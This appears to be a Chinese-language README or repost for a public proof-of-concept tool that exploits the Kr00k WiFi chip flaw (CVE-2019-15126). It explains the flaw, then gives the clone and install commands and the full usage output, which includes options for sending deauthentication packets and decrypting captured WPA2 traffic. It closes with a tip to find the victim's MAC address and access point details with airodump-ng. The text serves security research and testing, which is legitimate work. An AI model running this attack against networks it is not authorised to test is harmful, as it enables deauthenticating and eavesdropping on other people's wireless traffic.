Kr00k漏洞是Broadcom和Cypress WiFi芯片中的安全漏洞，攻击者利用该漏洞可以部分解密WPA2加密流量，泄露无线网络数据包中的数据。因为Broadcom和Cypress WiFi广泛应用于手机、平板、笔记本和IOT设备中。根据初步估计，有超过10亿设备受到该漏洞的影响。
要使用这些脚本，需要一个支持活动监控器模式和帧注入功能的WiFi卡，我们推荐用于开发和测试代码的Atheros AR9280芯片（IEEE 802.11n），我们已经在Kali Linux上测试了此PoC
安装
# clone main repo git clone https://github.com/hexway/r00kie-kr00kie.git && cd ./r00kie-kr00kie # install dependencies sudo pip3 install -r requirements.txt
使用
这是实施kr00k攻击的主要漏洞利用文件
->~:python3 r00kie-kr00kie.py -h usage: r00kie-kr00kie.py [-h] [-i INTERFACE] [-l CHANNEL] [-b BSSID] [-c CLIENT] [-n DEAUTH_NUMBER] [-d DEAUTH_DELAY] [-p PCAP_PATH_READ] [-r PCAP_PATH_RESULT] [-q] PoC of CVE-2019-15126 kr00k vulnerability optional arguments: -h, --help show this help message and exit -i INTERFACE, --interface INTERFACE Set wireless interface name for listen packets -l CHANNEL, --channel CHANNEL Set channel for wireless interface (default: 1) -b BSSID, --bssid BSSID Set WiFi AP BSSID (example: "01:23:45:67:89:0a") -c CLIENT, --client CLIENT Set WiFi client MAC address (example: "01:23:45:67:89:0b") -n DEAUTH_NUMBER, --deauth_number DEAUTH_NUMBER Set number of deauth packets for one iteration (default: 5) -d DEAUTH_DELAY, --deauth_delay DEAUTH_DELAY Set delay between sending deauth packets (default: 5) -p PCAP_PATH_READ, --pcap_path_read PCAP_PATH_READ Set path to PCAP file for read encrypted packets -r PCAP_PATH_RESULT, --pcap_path_result PCAP_PATH_RESULT Set path to PCAP file for write decrypted packets -q, --quiet Minimal output
为了发起攻击，需要知道访问点的bssid，其通道和受害者的mac地址，可以使用该airodump-ng wlan0找到它们。
